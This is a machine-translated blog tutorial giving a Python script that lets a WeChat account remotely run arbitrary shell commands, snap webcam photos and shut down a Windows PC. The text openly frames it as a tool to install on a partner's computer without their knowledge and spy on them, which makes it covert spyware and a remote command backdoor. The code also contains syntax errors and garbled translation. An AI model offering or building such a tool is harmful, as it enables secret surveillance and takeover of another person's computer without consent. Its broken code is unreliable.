It takes about 5 minutes to read the text.


Today brings you a very interesting Python program, based on itchat to achieve wechat control computer. You can take a picture of the current computer user by sending a command on wechat, and the picture will be sent to your wechat. You can even send commands to shut down the computer remotely.




Application scenarios


Your lovely and charming girlfriend is very happy after reading this tutorial. Deploy the script on your computer and log in without your knowledge. Later, I told you THAT I went shopping with my girlfriends, and I would not accompany you today. Just remember not to eat chicken.


You thought I’d finally have a day off! Happy to eat chicken! And he said, “Yes! Have fun, honey!” While you’re waiting for your girlfriend to leave, you go into chicken mode and kill in PUBG.


Your girlfriend already knows all about you, using a script to take screenshots of your computer and then call to ask if you’re eating chicken and shut down your computer remotely if you’re lying.


Finally, you think no, I don’t have a girlfriend. Then you turn and smile at your roommate.


Program way of thinking



This program is using python3.6 + windows10, please make sure you have opencv-python and matplotlib installed before running the program. PIP Install is available for installation.


The program mainly uses itChat library to log in to the wechat web page, and then sends and receives messages through ItChat. And through OpencV to call the camera of the computer, take a picture of the current user of the computer and send it to your wechat. As for the remote shutdown is by calling OS library, send CMD name can be achieved.


Program source code


import itchat
import os
import time
import cv2

sendMsg = u{message assistant} : unable to reply at this time
usageMsg = u"Use method: \n1. Run CMD command: CMD XXX (XXX is command)\n" \
           u"- For example shutdown command: NCMD shutdown -s -t 0 \n" \
           u"2. Get current computer user: cap\n3. Enable message Assistant (off by default) : ast\n" \
           u"4. Turn off message assistant: ASTC"
flag = 0 # Message assistant switch
nowTime = time.localtime()
filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt"
myfile = open(filename, 'w')

@itchat.msg_register('Text')
def text_reply(msg):
    global flag
    message = msg['Text']
    fromName = msg['FromUserName']
    toName = msg['ToUserName']

    if toName == "filehelper":
        if message == "cap":
            cap = cv2.VideoCapture(0)
            ret, img = cap.read()
            cv2.imwrite("weixinTemp.jpg", img)
            itchat.send('@img@%s'%u'weixinTemp.jpg'.'filehelper')
            cap.release()
        if message[0:3] == "cmd":
            os.system(message.strip(message[0:4]))
        if message == "ast":
            flag = 1
            itchat.send("Message assistant is on."."filehelper")
        if message == "astc":
            flag = 0
            itchat.send("Message assistant is closed."."filehelper")
    elif flag == 1:
        itchat.send(sendMsg, fromName)
        myfile.write(message)
        myfile.write("\n")
        myfile.flush()

if __name__ == '__main__':
    itchat.auto_login()
    itchat.send(usageMsg, "filehelper")
    itchat.run()
Copy the code

The program is not complicated, it defines some messages to send, and then it can be implemented by calling itChat and cV2 related library operations. For some of the operations of the Itchat library, you can find documentation on the web.


Using the tutorial



Get the source code and run it on your computer. A QR code for wechat web login will pop up.



Use your mobile phone wechat scan login, wait for a while, wechat file assistant will receive the corresponding operation information.



To shutdown the current computer, send CMD shutdown -s -t 0.


Send the message “CAP” to call the computer camera to take the current user, and then send the picture to wechat.


Of course, CMD naming can also do more interesting things, you can go to the Internet search.


Have you learned how to operate this wave? There will be an update tomorrow with the new “Python post a high-powered circle of friends” operation.


This article was first published on the public account “Chi Hai”, the background reply “1024” to get the latest programming resources.

Like this:Python learning materials, PDF ebook collection